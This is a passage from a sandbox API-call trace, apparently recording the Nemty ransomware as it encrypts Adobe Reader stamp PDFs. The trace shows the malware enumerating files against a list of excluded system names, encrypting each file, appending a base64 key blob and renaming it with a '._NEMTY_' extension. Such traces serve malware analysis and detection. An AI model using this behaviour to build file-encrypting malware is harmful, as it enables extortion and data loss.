(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.182] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0188.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.183] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9f16, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0188.183] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0188.183] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0188.183] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0188.183] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0188.183] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.183] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0188.183] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0188.183] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0188.184] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0188.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.185] Sleep (dwMilliseconds=0x5) [0188.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23d210b0, dwHighDateTime=0x1d561e8)) [0188.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23d210b0, dwHighDateTime=0x1d561e8)) [0188.197] GetLastError () returned 0x0 [0188.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.198] GetLastError () returned 0x0 [0188.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.198] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.198] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.198] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.198] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="gB71ZSKI4n7xMEl3nLy2hDeqzjelvo9SQIW8umaBaEyGLOKbNcAlK60N0lQJdPv+\r\nNwHNtzhrvTFhqam1y9jFQA3DNc9sexNFVhaub52j2Kslo19ENzbOCf+Jxy9zJ6gz\r\nMPlg8Si4Mn7p9AhYVQ7+kzYvhMddGQP9Zg8Dul3ADCW5ly80dhQegC8Bvpanx1FU\r\nI/Lm4zJeDJc/xINcQ7lfLFfa6OEn30emldE2IpiLhA3wNB82g20oUI3J1GgAvzEM\r\nPJ2Z5P8DIbaCcqojUfsFeJ5UqX9AFNx+XA+r//L8ZGc+y4cnDmjf9U5FvtRGvK6i\r\nB9RNGuTmughdfGdHWsB2vw==\r\n", pcchString=0x653df5c) returned 1 [0188.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.200] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=40726) returned 1 [0188.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9f10) returned 0x6352c48 [0188.200] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.200] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9f10, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x9f10, lpOverlapped=0x0) returned 1 [0188.225] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.225] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9f10, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x9f10, lpOverlapped=0x0) returned 1 [0188.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.226] SetFilePointer (in: hFile=0x320, lDistanceToMove=40726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9f16 [0188.226] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.228] CloseHandle (hObject=0x320) returned 1 [0188.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.228] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0188.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.229] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0188.229] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0188.229] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0188.229] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0188.229] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0188.229] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.229] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0188.230] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0188.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0188.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0188.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0188.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0188.231] Sleep (dwMilliseconds=0x5) [0188.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23d934d0, dwHighDateTime=0x1d561e8)) [0188.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23d934d0, dwHighDateTime=0x1d561e8)) [0188.245] GetLastError () returned 0x0 [0188.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.245] GetLastError () returned 0x0 [0188.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.245] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.245] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.245] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0188.245] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="fKAKc3RQe/A3x+IveL7SIJQKGjQcts0lQR7qzVEbUOMB7STc8s1aNZLlc5Ghb2b3\r\n1ghzkgkia0zt8N6kIulUo3XNBk1KD7G8sx48yhUtoWVCu/E7WSzKvJrsNjHggUjA\r\nHiRo4/jjwtyn6EcgI6VDjZ8KDkDPcS1YW+kikZA6109J0bAANG/CNFYyRRwY2l32\r\niMX30PxePO3IXxk2F1dhsuaO1qDQdNAXjcjLQ2mDs2ti75EvrC3avgGvMTo9IO36\r\nheebICJphOjjjaCiu8DkDCwwEdiUR7PArTn9aFz8UoeGtd+I2aVNYyrrGfA0OQXE\r\nJrEpmBh8n+uqKtKbbgAowQ==\r\n", pcchString=0x653df5c) returned 1 [0188.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0188.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.278] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 